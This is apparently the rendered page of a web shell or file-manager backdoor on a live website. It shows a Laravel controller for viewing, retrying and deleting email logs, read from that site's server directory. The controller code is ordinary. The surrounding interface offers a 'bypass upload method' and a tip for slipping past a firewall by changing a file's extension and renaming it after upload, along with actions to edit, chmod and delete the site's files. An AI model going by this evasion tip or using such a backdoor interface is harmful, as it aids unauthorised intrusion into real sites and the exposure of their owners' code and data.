Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
multi-event-cfp.bitkit.dk
httpdocs
app
Http
Controllers
File Content:
EmailLogController.php
<?php namespace App\Http\Controllers; use App\Models\EmailLog; use App\Repositories\EmailLogRepository; use App\Jobs\RetryFailedEmailJob; use Illuminate\Http\Request; use Exception; class EmailLogController extends Controller { protected EmailLogRepository $repository; public function __construct(EmailLogRepository $repository) { $this->repository = $repository; $this->middleware('event.user:event_admin'); } /** * Get email logs list */ public function list(Request $request) { try { $role = $request->get('role'); if ($role != 'event_admin') { return response([ 'status' => false, 'message' => 'Access denied' ]); } $data = $this->repository->listing($request, true); $total = $data->count(); $data = $data->toArray(); $paging = $request->get('paging', '10'); unset($data['links']); return response([ 'status' => true, 'email_logs' => $paging == 'All' ? ['data' => $data, 'total' => $total] : $data, ]); } catch (Exception $exception) { return $this->handleException($exception, __FUNCTION__, __CLASS__); } } /** * Get single email log details */ public function show(Request $request, $id) { try { $role = $request->get('role'); if ($role != 'event_admin') { return response([ 'status' => false, 'message' => 'Access denied' ]); } $emailLog = $this->repository->fetchSingleEmailLog($id); if (!$emailLog) { return response([ 'status' => false, 'message' => 'Email log not found' ]); } return response([ 'status' => true, 'email_log' => $emailLog ]); } catch (Exception $exception) { return $this->handleException($exception, __FUNCTION__, __CLASS__); } } /** * Retry failed email */ public function retry(Request $request, $id) { try { $role = $request->get('role'); if ($role != 'event_admin') { return response([ 'status' => false, 'message' => 'Access denied' ]); } $emailLog = EmailLog::find($id); if (!$emailLog) { return response([ 'status' => false, 'message' => 'Email log not found' ]); } if (!$emailLog->canRetry()) { return response([ 'status' => false, 'message' => 'Email cannot be retried (max retries reached or not failed)' ]); } // Increment retry count and set to processing $emailLog->incrementRetry(); // Dispatch retry job dispatch(new RetryFailedEmailJob($emailLog)); return response([ 'status' => true, 'message' => 'Email retry initiated successfully' ]); } catch (Exception $exception) { return $this->handleException($exception, __FUNCTION__, __CLASS__); } } /** * Bulk retry failed emails */ public function bulkRetry(Request $request) { try { $role = $request->get('role'); if ($role != 'event_admin') { return response([ 'status' => false, 'message' => 'Access denied' ]); } $ids = $request->get('ids', []); if (empty($ids)) { return response([ 'status' => false, 'message' => 'No email IDs provided' ]); } $emailLogs = EmailLog::whereIn('id', $ids)->failed()->canRetry()->get(); $retryCount = 0; foreach ($emailLogs as $emailLog) { $emailLog->incrementRetry(); dispatch(new RetryFailedEmailJob($emailLog)); $retryCount++; } return response([ 'status' => true, 'message' => "Successfully initiated retry for {$retryCount} emails" ]); } catch (Exception $exception) { return $this->handleException($exception, __FUNCTION__, __CLASS__); } } /** * Delete email logs (single or bulk) */ public function destroy(Request $request, $id = null) { try { $role = $request->get('role'); if ($role != 'event_admin') { return response(['status' => false, 'message' => 'Access denied']); } // Bulk delete if ids provided in request if ($request->has('ids')) { $ids = $request->get('ids', []); if (empty($ids)) { return response(['status' => false, 'message' => 'No email IDs provided']); } // Chunk large deletes for performance $deleted = 0; foreach (array_chunk($ids, 1000) as $chunk) { $deleted += EmailLog::whereIn('id', $chunk)->delete(); } return response(['status' => true, 'message' => "Successfully deleted {$deleted} email logs"]); } // Single delete if (!$id) { return response(['status' => false, 'message' => 'Email log ID required']); } $emailLog = EmailLog::find($id); if (!$emailLog) { return response(['status' => false, 'message' => 'Email log not found']); } $emailLog->delete(); return response(['status' => true, 'message' => 'Email log deleted successfully']); } catch (Exception $exception) { return $this->handleException($exception, __FUNCTION__, __CLASS__); } } }
Edit
Download
Unzip
Chmod
Delete